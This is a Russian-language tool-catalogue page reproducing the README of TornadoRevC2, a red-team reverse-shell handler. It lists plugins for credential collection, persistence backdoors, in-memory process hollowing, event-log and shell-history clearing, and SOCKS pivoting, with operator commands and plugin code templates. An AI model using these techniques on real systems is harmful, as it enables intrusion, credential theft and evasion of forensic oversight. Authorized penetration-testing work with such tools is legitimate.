Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
TornadoRevC2 — Модульный фреймворк для постэксплуатации, управляющий сессиями reverse-shell через TCP/TLS/mTLS с плагинами для перечисления, выполнения в памяти, SOCKS5-пивотинга и персистентности. | Kitploit
Инструменты/GitHubGitHub/kamalx06/tornadorevc2
Фреймворки для пентестаПовышение привилегийМеханизмы персистентностиЛатеральное перемещениеСкриптинг и автоматизацияСбор информацииПост-эксплуатацияКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
247721 ч 2 мин назадПроверено Kitploit
GitHub
kamalx06/tornadorevc2

TornadoRevC2

Модульный фреймворк для постэксплуатации, управляющий сессиями reverse-shell через TCP/TLS/mTLS с плагинами для перечисления, выполнения в памяти, SOCKS5-пивотинга и персистентности.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

TornadoRevC2

Легковесный модульный фреймворк для постэксплуатации, предназначенный для авторизованных исследований в области безопасности, red-team операций и тестирования на проникновение. TornadoRevC2 управляет сессиями обратных оболочек на хостах Linux и Windows через единую консоль оператора, расширяя базовую обработку сессий кросс-платформенной архитектурой плагинов для перечисления хостов, ситуационной осведомлённости и операционных задач.

Важно: TornadoRevC2 — это обработчик сессий и фреймворк для постэксплуатации, а не beacon-платформа командования и управления. Он отдаёт приоритет надёжным интерактивным оболочкам, структурированным рабочим процессам оператора и выполнению плагинов по требованию, а не инфраструктуре постоянных агентов.


Правовое уведомление

Используйте это программное обеспечение только на системах, которыми вы владеете, или на системах, на которых у вас есть явное письменное разрешение. Вы несёте единоличную ответственность за соблюдение применимых законов и организационных политик. Авторы и участники не несут никакой ответственности за неправомерное использование, потерю данных или юридические последствия, возникшие в результате использования этого проекта.


Демонстрация

TornadoRevC2 Demo

Краткая демонстрация: управление сессиями, выполнение плагинов, SOCKS5-пивотинг.


Содержание

  • Введение
  • Ключевые возможности
  • Философия дизайна
  • Архитектура
  • Требования и установка
  • Быстрый старт
  • Справочник оператора
  • Встроенные плагины
  • Разработка плагинов
    • Обзор системы плагинов
    • Размещение плагинов
    • Регистрация
    • Жизненный цикл выполнения
    • Шаблон 1: Простой shell-плагин
    • Шаблон 2: Структурированный сборщик
    • Шаблон 3: Пользовательский обработчик
    • Сборщики для Linux
    • Сборщики для Windows
    • Соглашения о JSON-полезной нагрузке
    • Пользовательские форматтеры
    • Платформо-специфичные плагины
    • Внешние плагины
    • API SessionContext
    • Обработка ошибок и коды возврата
    • Лучшие практики
    • Эталонные реализации
  • Журналирование сессий
  • Структура проекта
  • Конфигурация TLS и mTLS
  • Лицензия

Введение

TornadoRevC2 — это модульный фреймворк управления обратными оболочками, который принимает входящие соединения по обычному TCP, TLS с аутентификацией сервера и взаимному TLS (mTLS) с проверкой клиентского сертификата, предоставляя единую консоль оператора для управления сессиями, разведки хостов, чанковой передачи файлов, выполнения полезной нагрузки в памяти, SOCKS5-пивотинга, постэксплуатации на основе плагинов, структурированной отчётности и встроенной команды update для автоматических обновлений на основе Git и бесшовных перезапусков обработчика. Изначально разработанный как легковесный обработчик обратных оболочек, проект превратился в расширяемый фреймворк, в котором такие возможности, как перечисление брандмауэра, сбор метаданных хранилища учётных данных, картографирование сети, профилирование браузеров и дополнительная функциональность постэксплуатации, реализованы в виде независимых модульных плагинов. Фреймворк также включает плагин make_token для установления новых C2-сессий через удалённые протоколы (SSH, WinRM, SMB, RDP, WMI, MSSQL) с использованием инструментов командной строки со стороны оператора, с поддержкой пользовательских портов, аутентификации по NTLM-хешу и интеграции с netexec, а также плагин upgrade_mtls, который переносит активную сессию на слушатель взаимного TLS путём доставки на цель пакета клиентских сертификатов обработчика.

Поддерживаемые целевые платформы: Linux и Windows (основные), с совместимостью с универсальными Unix и BSD-средами, где это применимо.


Ключевые возможности

КатегорияВозможности
Обработка сессийМногоклиентские слушатели TCP / TLS / mTLS с автоматической инициализацией PKI · Обновление до mTLS по требованию для активных сессий · Интерактивные оболочки PTY/TTY · Идентификация сессий и отслеживание переподключений
Передача файловЧанковая загрузка и скачивание · Проверка целостности SHA-256
Выполнение полезной нагрузкиВыполнение в памяти для py, ps, exe, elf, bat и sh
Пивотинг и туннелированиеSOCKS5-прокси через скомпрометированные сессии с автоматической удалённой очисткой · Развёртывание агентов Ligolo-NG и Chisel с фоновым сохранением
Установление удалённых сессийmake_token — установление новых сессий через SSH, WinRM, SMB, RDP, WMI и MSSQL со стороны оператора, с аутентификацией по NTLM-хешу и интеграцией с netexec
Имперсонацияrunas — выполнение команд или запуск TLS-шифрованной оболочки от имени другого пользователя, локально или удалённо, с поддержкой домена и интеграцией с netexec
ПеречислениеОхватывает триаж хоста, сетевую конфигурацию, учётные данные и метаданные браузеров, билеты Kerberos, внутренности Linux, а также доменную и системную конфигурацию Windows
Операционные плагиныМногопроходное безопасное стирание файлов · Гибридное шифрование файлов · Очистка истории оболочки · Очистка журнала событий Windows
ПерсистентностьКросс-платформенная установка бэкдора с использованием TLS-шифрованных полезных нагрузок — cron @reboot в Linux/Unix, реестр Run в Windows
РасширяемостьЗагрузка, перезагрузка и выгрузка плагинов во время выполнения · Внешние плагины через TORNADOREVC2_PLUGIN_DIR · Документированный API SessionContext
ОтчётностьЖурналирование по сессиям · Структурированный вывод плагинов · Экспорт HTML-транскриптов
СамообновлениеКоманда update на основе Git с проверкой репозитория, fast-forward pull и автоматическим перезапуском обработчика · Дружелюбна к форкам, с обнаружением расхождений и безопасным запросом сброса

Не поддерживается: Планирование задач или инфраструктура обратных вызовов в стиле beacon.


Философия дизайна

TornadoRevC2 разработан для сред, где важны сложность развёртывания и операционный след.

Дизайн с минимумом зависимостей и нативными командами

Плагины используют нативные утилиты Windows и Linux и встроенные системные команды, уже присутствующие на целевом хосте — netsh, ss, iptables, ufw, firewall-cmd, nft, командлеты PowerShell, nmcli, wevtutil и другие. Сборщики вызывают эти инструменты через канал обратной оболочки и разбирают вывод удалённо, минимизируя необходимость загрузки дополнительных бинарников или установки зависимостей.

Никаких артефактов на стороне цели

Операции плагинов выполняются через существующий канал обратной оболочки и не требуют сброса бинарников, исполняемых файлов, скриптов или временных файлов на целевую систему. Задачи перечисления выполняются как нативные команды или внутрипроцессные скрипты-сборщики; результаты возвращаются в виде маркированного JSON через оболочку. Единственный неизбежный артефакт — обычная история команд, генерируемая самой оболочкой.

Плавная деградация

Когда процедура перечисления завершается неудачей, недоступна или истекает время ожидания, плагин не прерывается полностью. Затронутый раздел остаётся пустым или помечается N/A, а остальная часть отчёта продолжается.

Обслуживание на стороне оператора

Обновления обработчика доставляются через Git на машине оператора. Команда update использует ограниченные таймауты подпроцессов, неинтерактивные настройки Git и быстрый локальный путь завершения, чтобы обработчик мог надёжно перезапуститься без блокировки на очистке удалённых сессий.


Архитектура```text

┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Конфигурация слушателей

TornadoRevC2 запускает **три независимых слушателя одновременно**, поэтому импланты могут подключаться по открытому тексту, TLS с аутентификацией сервера или взаимно аутентифицированному TLS в зависимости от модели угроз в рамках проекта:

| Слушатель | Порт по умолчанию | Флаг | Аутентификация | Сертификаты |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Нет           | Нет |
| TLS      | `8443`       | `-tp` | Аутентификация сервера | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Взаимная (требуется сертификат клиента) | пакет `mtls_certs/` (CA + сервер + клиент) |

Флаг `-H` задаёт адрес привязки, общий для всех трёх слушателей. Все три могут быть включены одновременно; отключать один сейчас не требуется — оставьте порт свободным или непривязанным, чтобы игнорировать его.

**Автоматическая генерация сертификатов.** При первом запуске обработчик создаёт два изолированных каталога и инициализирует необходимые материалы:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

Структура плагина```text

tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery

root@kitploit:~
**Общие плагины** (`firewall`, `ports`, `browser`, `credstore` и другие) существуют как единые унифицированные модули в `shared/`. **Платформозависимые плагины**, такие как `rdp` и `eventlogdel`, находятся исключительно в `windows/` или `linux/` и не дублируются в `shared/`.

Коллекторы выводят JSON, обёрнутый в маркерные токены (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). Общий раннер разбирает этот вывод, формирует отчёт для оператора и сохраняет результаты в каталоге журнала сессии.

---

## Требования и установка

**Обработчик (машина оператора):**

- Python 3.7 или новее
- OpenSSL (для автоматической генерации сертификатов TLS и mTLS)
- Git (опционально; требуется для команды оператора `update`)
- Сторонние пакеты Python не требуются```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

Быстрый старт

1. Запустите обработчик```bash

Default: TCP on 4444, TLS on 8443, mTLS on 9443

python tornadorevc2.py

Custom bind address and ports for all three listeners

python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443

Point to your own certificate material

python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

root@kitploit:~
### 2. Установка сессии

Разверните обратную оболочку из встроенного каталога (`payloads`) или используйте собственный имплант. При подключении TornadoRevC2 присваивает идентификатор сессии и начинает вести журнал в `logs/`.

### 3. Работа```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

При подключении через switch <ID> опускайте идентификатор сессии в последующих командах (run quickenum вместо run quickenum 1). Списки плагинов и автодополнение по TAB внутри клиентской сессии фильтруются до плагинов, совместимых с платформой этой сессии.

Команда update доступна только из главной строки приглашения обработчика. Она проверяет, что Git установлен, подтверждает, что установка является рабочим деревом Git, выполняет fetch из настроенного удалённого репозитория, выполняет fast-forward pull при наличии обновлений и перезапускает обработчик с тем же исполняемым файлом и аргументами. Если установка уже актуальна, выводится TornadoRevC2 is already running the latest version. и сервер продолжает работу.


Справочник оператора

Управление сессиями

КомандаОписание
status / lsСписок активных сессий обратных оболочек
sessionsПоказать отслеживаемые сессии, включая отключённые хосты
reconnectsОтобразить историю переподключений сессий
switch <ID>Подключиться к интерактивной оболочке сессии
kill <ID>Завершить сессию
rename <ID> <name> / rn <ID> <name>Присвоить понятное имя
sysinfo <ID> [--stealth|--full]Собрать или обновить информацию о хосте
export <ID>Экспортировать HTML-транскрипт сессии

Плагины

КомандаОписание
plugins / plugins listСписок зарегистрированных плагинов
plugins list --verboseПоказать пути к модулям и состояние загрузки
plugins load <name>Загрузить внешний плагин во время выполнения
plugins unload <name>Отключить или выгрузить плагин
plugins reload <name>Перезагрузить модуль плагина
plugins info <name>Отобразить метаданные плагина
run <plugin> <ID> [args...]Выполнить плагин для сессии

Передача файлов

КомандаОписание
upload [--resume] <ID> <local> <remote>Загрузка с чанковой передачей
download [--resume] <ID> <remote> <local>Скачивание с чанковой передачей
verify <ID> <remote> / hash <ID> <remote>Проверить размер удалённого файла и SHA-256

Выполнение в памяти

КомандаОписание
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>]Выполнить полезную нагрузку в памяти

Поддерживаемые типы: py, ps, exe, elf, bat, sh

Сетевое пивотирование

КомандаФорма внутри сессииОписание
socks <ID> <listen_port>socks <listen_port>Запустить SOCKS5-прокси через сессию (локальный слушатель на 127.0.0.1:<listen_port>)
socks <ID> test <host> <port>socks test <host> <port>Проверить TCP-доступность внутреннего хоста через туннельный агент
socks <ID> resetsocks resetСбросить потоки туннельного агента и отбросить буферизованные данные (не останавливает активные SOCKS-слушатели)
socks stop <proxy_id>socks stop <proxy_id>Остановить SOCKS-прокси и очистить удалённые артефакты туннеля, когда сессия не используется другими прокси
tunnelstunnelsСписок активных SOCKS-прокси, количество каналов и статус

Общие

КомандаОписание
payloadsОтобразить встроенный справочник полезных нагрузок
updateПроверить обновления из официального репозитория GitHub и перезапуститься после успешного fast-forward pull (требуется Git; только главное меню)
helpПоказать справочник команд
exit / quitЗавершить работу обработчика

Встроенные плагины

TornadoRevC2 поставляется с 51 встроенным плагином, организованным по функциям. Все плагины, связанные с перечислением, доступны только для чтения, если не указано иное.

Оценка хоста и окружение

ПлагинПлатформаОписание
quickenumКроссплатформенныйБыстрая структурированная сортировка хоста: идентификация, сеть, окружение, приоритизированные находки
virtualizationКроссплатформенныйОбнаружение виртуализации, контейнеров, оркестрации и облачного окружения
kernelКроссплатформенныйВерсия ядра, загруженные модули/драйверы, средства защиты и конфигурация ядра
integrityКроссплатформенныйSecure Boot, BitLocker/LUKS, принудительная подпись кода, блокировка ядра и средства защиты целостности
filesearchКроссплатформенныйПоиск файлов по пути, имени, расширению, размеру, владельцу, mtime (run filesearch help для опций)
packagesКроссплатформенныйУстановленное ПО, менеджеры пакетов, конфигурация репозиториев и недавние установки
sysinfoКроссплатформенныйСбор метаданных хоста (команда обработчика, не плагин)
kerberosenumКроссплатформенныйМетаданные билетов Kerberos: кэши, основной принципал, realm, TGT, сервисные билеты, типы шифрования, флаги (renewable/forwardable), файлы keytab, конфигурация krb5.conf/реестра и переменные окружения (без секретов)

Сеть и подключение

ПлагинПлатформаОписание
firewallКроссплатформенныйСтатус брандмауэра, профили/зоны, политики и заметные правила (WDF, UFW, firewalld, nftables, iptables)
portsКроссплатформенныйСлушающие порты, установленные соединения, владеющие процессы и маршрутизация
proxyКроссплатформенныйСистемные, окружения, PAC/WPAD и браузерные настройки прокси
vpnКроссплатформенныйVPN-клиенты, активные подключения, адаптеры и метаданные конфигурации

Учётные данные, браузеры и приложения

ПлагинПлатформаОписание
credstoreКроссплатформенныйМетаданные хранилища учётных данных (без извлечения секретов): Credential Manager, keyrings, хранилища браузеров
browserКроссплатформенныйУстановленные браузеры, профили, расширения, закладки и корпоративные политики
clipboardКроссплатформенныйЗахват текста удалённого буфера обмена
secretsLinux/UnixКонфигурационные файлы, переменные окружения, SSH-ключи и облачные учётные данные

Внутреннее устройство хоста

ПлагинПлатформаОписание
historyКроссплатформенныйИстория оболочки, журналы пакетов/обновлений и недавняя активность входа
mountsКроссплатформенныйТочки монтирования, SMB/NFS-ресурсы, подключённые диски, файловые системы контейнеров
memorymapКроссплатформенныйКарты памяти процессов и загруженные модули для указанного PID
screenshotКроссплатформенныйЗахват рабочего стола, возвращаемый оператору (сессии GUI; PNG сохраняется локально)
cronLinux/UnixЗадания cron, системные crontab, пользовательские crontab и очереди at
systemdLinux/UnixСлужбы, таймеры, сбойные юниты и включённые юниты автозапуска
privbinsLinux/UnixБинарные файлы SUID/SGID, возможности файлов и исполняемые файлы, релевантные для повышения привилегий
lsmLinux/UnixSELinux, AppArmor и другие Linux Security Modules: режим принуждения, политики и конфигурация
journalLinux/UnixСтруктурированные сводки journalctl: аутентификация, ядро, сбои служб и недавние события
sshauditLinux/UnixПеречисление SSH-сервера: действующая конфигурация sshd, поверхность аутентификации, варианты пивотирования, ключи хоста, authorized_keys и доверие CA
containersLinux/UnixСреды выполнения и рабочие нагрузки контейнеров: Docker, Podman, containerd, CRI-O, LXC/LXD и индикаторы Kubernetes
usersessionsКроссплатформенныйАктивные локальные, удалённые, SSH, RDP, консольные и служебные сессии с метаданными входа/источника

Домен и система Windows

ПлагинПлатформаОписание
adinfoWindowsЧленство в домене, контроллеры домена, леса, доверия и OU
servicesWindowsСлужбы Windows, типы запуска, бинарные файлы и учётные записи служб
scheduledtasksWindowsЗапланированные задачи, триггеры, контекст выполнения и действия
registryWindowsКлючи автозапуска, расположения автозагрузки и установленное ПО
eventlogsWindowsСводки журналов Security, System, Application и PowerShell
defenderWindowsСтатус Microsoft Defender, исключения, правила ASR и сторонний антивирус
certificatesWindowsХранилища сертификатов, подпись кода и корпоративные сертификаты
rdpWindowsКонфигурация Remote Desktop, статус, недавние цели и настройки
gpoWindowsПрименённые GPO, локальные/доменные политики безопасности, AppLocker, WDAC, SRP и скрипты GPO
winrmWindowsКонфигурация WinRM, слушатели, методы аутентификации, интеграция с брандмауэром и статус remoting
driversWindowsУстановленные драйверы и модули ядра, статус подписи, тип запуска и заметные драйверы безопасности/VM
powershellWindowsВерсия PowerShell, политика выполнения, журналирование, модули, настройки remoting и пути профилей
lsaWindowsЗащита LSA, Credential Guard, безопасность на основе виртуализации и конфигурация безопасности учётных данных

Выполнение и операции

ПлагинПлатформаОписание
inmemoryКроссплатформенныйВыполнение полезной нагрузки в памяти (py, ps, exe, elf, bat, sh)
make_tokenКроссплатформенныйУстановка C2-сессий через удалённые протоколы (SSH, WinRM, SMB, RDP, WMI, MSSQL) с использованием CLI-инструментов со стороны оператора с поддержкой пользовательских портов, NTLM-хэшей и интеграции с netexec
nullcryptКроссплатформенныйГибридное шифрование файла (AES-GCM + ключ, обёрнутый RSA) с последующим безопасным стиранием оригинала через wiper
wiperКроссплатформенныйНастраиваемое многопроходное безопасное перезаписывание (переименование, усечение, удаление); профили: quick, standard, dod, thorough, shred
historydelКроссплатформенныйОчистка файлов истории оболочки текущего пользователя и связанного хранилища
eventlogdelWindowsОчистка журналов событий Windows через нативные wevtutil / Clear-EventLog
runasWindowsВыполнение команд или запуск TLS‑шифрованной обратной оболочки от имени другого пользователя (локально/удалённо) с управлением учётными данными, поддержкой домена и интеграцией с netexec
ligolongКроссплатформенныйРазвёртывание туннельного агента Ligolo‑NG на целях Linux/Windows с фоновой персистентностью
chiselКроссплатформенныйРазвёртывание туннельного агента Chisel в режиме reverse (клиент) или bind (сервер); поддержка SOCKS5 и фоновой персистентности
persistenceКроссплатформенныйУстановка персистентного бэкдора обратной оболочки (cron @reboot / реестр Run) с использованием TLS‑шифрованной полезной нагрузки
upgrade_mtlsКроссплатформенныйОтправка клиентского mTLS-бандла обработчика в сессию и её перезапуск через mTLS-слушатель (по желанию; не влияет на другие слушатели)

Методы выполнения в памяти:

ТипМетод
pyPython через exec(compile(...))
psPowerShell через Invoke-Expression
exeWindows PE через in-memory RunPE (process hollowing)
elfLinux ELF через memfd_create с запасным вариантом /dev/shm
shShell-скрипт, передаваемый через bash -s
batBatch-скрипт, передаваемый через stdin cmd.exe /Q

Скрипты PEASS-ng для in-memory privesccheck: github.com/carlospolop/PEASS-ng


Разработка плагинов

В этом разделе описывается, как расширить TornadoRevC2 пользовательскими плагинами. Плагины — это обычные модули Python, которые регистрируют команды с помощью @plugin.command и получают SessionContext для целевой сессии. Изменения в основном коде обработчика не требуются.

Обзор системы плагинов

Система плагинов имеет четыре уровня:

УровеньМодульОтветственность
Регистрацияplugins/api.pyДекоратор @plugin.command, глобальный реестр команд, SessionContext
Обнаружениеplugins/loader.pyСканирует shared/, linux/, windows/ и внешние каталоги; импортирует модули
Выполнениеplugins/manager.pyОпределяет платформу, строит контекст, вызывает обработчик, обрабатывает ошибки
Коллекторыplugins/shared/runner.pyРазбор маркеров, извлечение JSON, форматирование отчётов, журналирование

Во время импорта декоратор @plugin.command регистрирует каждый обработчик в потокобезопасном глобальном реестре. Во время выполнения PluginManager.run_plugin() проверяет совместимость платформы, создаёт SessionContext и вызывает обработчик с (session, args).

Обработчики возвращают целочисленный код выхода: 0 при успехе, ненулевой при сбое. Консоль обработчика отображает предупреждения для ненулевых возвратов.

Размещение плагинов

Выберите расположение в зависимости от области платформы и того, поставляется ли плагин с проектом:

РасположениеОбластьЗагружается
tornadorevc2/plugins/shared/Кроссплатформенный (внутренние реализации для Windows + Linux)Автоматически при запуске
tornadorevc2/plugins/linux/Только Linux/UnixАвтоматически при запуске
tornadorevc2/plugins/windows/Только WindowsАвтоматически при запуске
./plugins/myplugin.pyВнешний (любая определяемая вами область)По требованию через plugins load
./plugins/myplugin/__init__.pyВнешний пакетПо требованию через plugins load
Путь в TORNADOREVC2_PLUGIN_DIRВнешний (пользовательский каталог)По требованию через plugins load

Правила компоновки:

  • Файлы с именами common.py, runner.py и __init__.py в shared/ пропускаются при обнаружении.
  • Файлы, начинающиеся с _ в linux/ или windows/, являются вспомогательными модулями, а не плагинами.
  • Общие плагины должны быть единым модулем в shared/ с внутренним ветвлением по платформам — не дублируйте кроссплатформенные плагины одновременно в shared/ и linux//windows/.
  • Платформенно-специфичные плагины (например, rdp, eventlogdel) должны находиться исключительно в windows/ или linux/.

Регистрация

Зарегистрируйте команду с помощью декоратора @plugin.command:```python from tornadorevc2.plugins import plugin, SessionContext

@plugin.command( name="myplugin", # Command name used with run myplugin <ID> platforms=["linux", "windows", "unix"], # Supported session platforms description="Short description for plugins list and TAB completion", ) def run(session: SessionContext, args): ... return 0 # 0 = success, non-zero = failure

root@kitploit:~
**Значения платформы:** `linux`, `windows`, `unix`. Linux и `unix` считаются совместимыми — плагин, зарегистрированный для `linux`, работает на обеих. Значение по умолчанию, если не указано: `["linux", "windows", "unix"]`.

**Несколько команд на модуль:** Один файл может зарегистрировать несколько команд, применив `@plugin.command` к нескольким функциям. Каждая получает независимое имя.

### Жизненный цикл выполнения

Когда оператор запускает `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

Внутри присоединённой сессии (switch <ID>) идентификатор сессии опускается, а аргументы начинаются сразу после имени плагина: run myplugin arg1 arg2.

Шаблон 1: Простой shell-плагин

Используйте, когда нужна быстрая одноразовая команда без структурированного разбора JSON. Обработчик выполняет нативную shell-команду, выводит результат и записывает его в журнал.```python from tornadorevc2.plugins import plugin, SessionContext

@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")

root@kitploit:~
if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
root@kitploit:~
**Когда использовать:** Простые пробы, однострочная энумерация, команды, не требующие структурированных отчётов.

**Ключевые методы:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Шаблон 2: Структурированный сборщик (рекомендуется)

Используйте для плагинов энумерации, которые собирают структурированные данные на цели и возвращают форматированный отчёт. Это шаблон, используемый всеми встроенными плагинами разведки (`firewall`, `ports`, `browser` и т. д.).

**Поток:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

Минимальный кроссплатформенный пример:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''

def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())

def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """

@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )

root@kitploit:~
**Параметры `run_collector_plugin`:**

| Параметр | Тип | Описание |
|-----------|------|-------------|
| `session` | `SessionContext` | Целевая сессия |
| `plugin_name` | `str` | Имя, используемое в логах и сообщениях об ошибках |
| `unix_builder` | `Callable[[], str]` или `None` | Возвращает команду оболочки Unix/Linux; `None`, если недоступно |
| `win_builder` | `Callable[[], str]` или `None` | Возвращает скрипт PowerShell; `None`, если недоступно |
| `formatter` | `Callable[[dict], str]` | Преобразует разобранный JSON-словарь в строку отчёта |
| `timeout` | `float` | Максимальное время ожидания маркированного вывода в секундах (по умолчанию 30) |

Передайте `None` для платформенного билдера, чтобы пометить плагин как недоступный в этой ОС (см. [Плагины для конкретных платформ](#platform-specific-plugins)).

После сохранения внешнего плагина:```bash
plugins load processes
plugins info processes
run processes 1

Шаблон 3: Пользовательский обработчик

Используйте, когда требуется проверка аргументов, динамическое создание коллектора, постобработка коллектора или обработка файлов на стороне оператора, которую run_collector_plugin не покрывает в одиночку.

Примеры в кодовой базе:

ПлагинПользовательское поведение
memorymapТребует аргумент PID; динамически создаёт коллектор со встроенным PID
wiperТребует удалённый путь; деструктивное действие с выводом подтверждения
screenshotДекодирует изображение base64 и сохраняет PNG локально на машине оператора
historydelЗапускает коллектор, затем отправляет последующую shell-команду для очистки истории в памяти
clipboardПользовательская обработка мягких сбоев через поле reason вместо жёсткой error

Пример проверки аргументов (из memorymap):```python import re from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json

@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1

root@kitploit:~
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
root@kitploit:~
**Пример пост-обработки коллектора** (из `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

Для прямого доступа к маркированному выполнению без полной обёртки коллектора используйте _run_collector_marked и parse_collector_json из plugins/shared/runner.py.

Linux-коллекторы

Linux-коллекторы — это строки исходного кода Python, выполняемые на цели через build_linux_collector_command().

Структура:

  1. Определите _linux_collector_source(), возвращающую необработанную строку (r'''...''').
  2. Напишите логику коллектора, которая строит словарь result.
  3. Вызовите _emit(result) в конце — никогда не выводите маркеры вручную.
  4. Оберните с помощью _build_linux_command() → build_linux_collector_command(source).

Обёртка в linux/_helpers.py автоматически:

